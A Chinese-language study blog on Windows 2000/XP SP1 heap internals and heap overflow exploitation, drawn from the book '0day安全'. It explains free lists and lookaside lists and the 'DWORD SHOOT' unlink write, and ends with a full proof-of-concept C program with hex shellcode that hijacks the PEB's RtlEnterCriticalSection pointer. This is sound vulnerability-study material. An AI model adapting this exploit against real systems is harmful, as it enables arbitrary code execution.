堆溢出利用

旧文迁移,这是最基础的Windows堆溢出的学习笔记,当然其实Linux的堆溢出利用和这个很相似。

堆是在程序运行时动态分配的内存,它是动态变化的,比较零碎,变化范围比较大,对堆内存操作一般通过指向该区域的指针完成。由于微软未公布堆细节,不同的操作系统版本堆可以有很大的区别,而且后续会有一些保护措施,所以此处是最简单的win2000~WinXP sp1,没错,学习17年前的系统(笑CRY)

堆区


对是程序运行时分配的内存,默认情况下每个程序都有个默认堆,可以使用GetProcessHeap()获取,当然也可以动态创建堆区,而一个堆区,堆内存按不同大小组织成块,以堆块作为单位进行标识,一个堆块包含块首和块身,对堆操作使用的指针一般指向块身起始位置。堆块和堆表组成一个堆,不同类型的堆表将堆在逻辑上分为不同的部分,重要的堆表(只索引空闲堆块)有两种:空表(freelist)和快表(lookaside)。

空表

有128项指针的数组,每一个元素含两个指针分别指向链表的上一个节点与下一个节点,第一项(freelist[0])链接大于等于1024字节的堆块,其他项链接下标乘以8大小的堆块,链表无长度限制,能进行堆块合并(详见操作系统),可以存在找零钱。

快表

也是有128项指针的数组,不过每个元素只含有一个指向下个节点的指针,且链表长度最长为5(最多接4个堆块),快表不会发生堆块合并,只能精确分配,不可扩展的堆和调试态的堆不会使用快表。

空闲态堆块的数据结构

占用态堆块的数据结构

从上可看出,堆的分配的大小一定是8字节的整数倍,块首的self size表示堆块大小(含块首),单位是8字节。调试态(左)块首的Flags填充标志被置位,并被填充了FE EE数据,利用时需要非调试态的堆结构:

调试查看空表

打开书籍配套的软件,附加进去:

可见新建的堆区位于52 00 00H处,转到此堆区:

根据堆区数据结构(详细的没找到,书上只提了关键的),0x178处为空表索引区,由于才开始未分配,只有一个大的堆块,freelist[0].blink= freelist[0].flink = 52 06 88H,转到此处发现其他项全指向自己,继续运行到堆分配结束:

1
2
3
4
5
6
7
8
9
10
11
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);

h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);

h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);

h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

看到尾块位置已经变成了52 07 08H,较之前后移了80H字节(由于按8字节大小对齐的),转到堆块区,52 06 88H处:

能够发现,指针其实指向了块身(空闲态的指针部分),前面几个请求不大于8字节的都是分配了16字节(前8字节为块首),后面两个不大于24字节的分配了32字节。查看块首,Flags都写成了占用态了,好像有些垃圾数据,但是不影响使用,接着运行到前三个堆块释放完成:

1
2
3
4
5
HeapFree(hp,0,h1); //free to freelist[2] =16B

HeapFree(hp,0,h3); //free to freelist[2] =16B

HeapFree(hp,0,h5); //free to freelist[4] =32B

由于不连续,不会发生堆块合并,他们被链入了freelist[2]和freelist[4],继续释放第四个堆块,由于H3是第32,发生了堆合并:

1
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

看到堆块大小已经变成了8x8字节,指针也指向了52 01 B8H处。

调试查看快表:打开书籍配套软件,运行:

看到堆在36 00 00H处,转到此处,查看空表索引,发现已经不是0x688了:

0x688被快表索引占据着:

现在通过找零钱来填充快表,即运行到4个堆都被释放:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

HeapFree(hp,0,h1);//lookaside[2]

HeapFree(hp,0,h2);// lookaside[2]

HeapFree(hp,0,h3);// lookaside[3]

HeapFree(hp,0,h4); //lookaside[4]

(真心没找到堆表,快表索引的数据结构,看着书上只知道关键的,等找到了补充进来),就是这样,框着的即第0,1,2~个快表,它只有一个单向的指针,其他地方不知道什么意思,看到lookaside[2],
lookaside[3], lookaside[4]都有链接堆块,转到那里去看看:

Flags的busy被置位,只有一个后置指针啦,这就是不同。。。

堆溢出攻击


原理

堆有三类操作:分配,释放,合并他们会对链表进行修改。至于攻击,需要改变一下思维,因为一直接触的都是栈溢出,在这里怎么也想不通,后来想了下作者将它叫为DWORD SHOOT才理解方法,首先,前一步是好理解的,即溢出下一堆块的首尾指针,尽管逻辑上正在利用的堆块已经被卸出了堆链,但是他们在物理上还是靠在一起的,即当堆溢出时,可以精确的覆盖下一个堆的首尾指针,覆盖后又有什么用呢?就需要上面的那三类操作去触发此漏洞:

1
2
3
4
5
6
int remove (listnode *node){
//node指针被改变了
node->blink->flink = node->flink;
node->flink->blink = node->blink;
return 0;
}

在结构体中”.”还好理解,但当(node).blink)这个指针不是指向结构体,在编译时是会报错,但在汇编中的逻辑是不会有任何问题的,于是(*node).blink)表示目标地址,(((node).blink)).flink表示目标地址处偏移4字节处位置,将此位置的值改为(node).flink,下一句是反过来,当然在利用时一般来说他们只有一个能成立,于是通过使被覆盖的堆块被分配,就能修改任意地址的四字节数据,并且,由于原来的首尾指针被覆盖了,这里node的前驱节点的flink依然会指向node,node的后继节点的blink仍然指向node,这意味着node节点虽然被分配了,但是依然会存在于空表链中,仍然可能会被再次分配!

调试中看,运行到释放h1,h3,h5堆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hp = HeapCreate(0,0x1000,0x10000);

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

_asm int 3 //used to break the process

//free the odd blocks to prevent coalesing

HeapFree(hp,0,h1);

HeapFree(hp,0,h3);

HeapFree(hp,0,h5); //now freelist[2] got 3 entries

这三个堆块都链接在了freelist[2]上了,分配时从分配最后一块,于是把最后一块的首尾指针改掉,看看效果(改成可以访问的地址,下面这张图是后来补的,有个细节有问题),接着运行下一句:

运行后发现,若blink为目标地址,则需要前移4字节才能准确命中!

1
2
3
4
5
6
7
int add(listnode *newnode,listnode *node){
newnode->blink = node;
newnode->flink = node->flink;
node->flink->blink = newnode;
node->flink = newnode;
return 0;
}

利用

利用地区:内存变量,代码逻辑,函数返回地址,异常处理机制,函数指针,PEB中线程同步函数的入口地址,实验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//这里的Nop区可以在一定程度上降低“指针反射”影响
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" //MOV EBX,77F8AA4C 这里用于修复溢出覆盖,需要按实际修改
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";//这里是溢出覆盖点,需要按实际修改


main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //正常情况应该是200字节
memcpy(h1,shellcode,0x200); //这里写成了200H,即512字节,将会溢出
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

运行:

这里讲shellcode放在了可以溢出的堆里,执行后,查看36 06 88H,发现shellcode已经被写入:

查看堆表情况:

此时只有一个大的堆块,下次分配只能从这里切割,转到36 07 58H查看:

它的首尾指针已经被溢出的数据改写了,这里是后继指针7F FD F0 20H表示目标地址(这里存放了RtlEnterCriticalSection函数指针),当程序退出,调用ExitProcess时,将会调用此地址的函数,于是shellcode获得了执行的机会,先驱指针指向了覆盖后的值,为shellcode首地址,看到,由于删除节点会对两个指针进行覆写,所以36 06 88H后偏移4字节将会被7F FD F0 20这个值覆盖,这叫做“指针反射”按作者大大说一般4字节不会有太大影响,只是执行了几条指令而已,这个看运气咯!

接着,运行堆分配函数,将会触发漏洞,不过在调试状态下回出些异常,若在正常运行情况下,直接忽略异常就可以看到结果了:

疑问:每个堆块都有8字节的块首,那么什么情况才会出现freelist[1]的堆块??

来源

0day安全:软件漏洞分析技术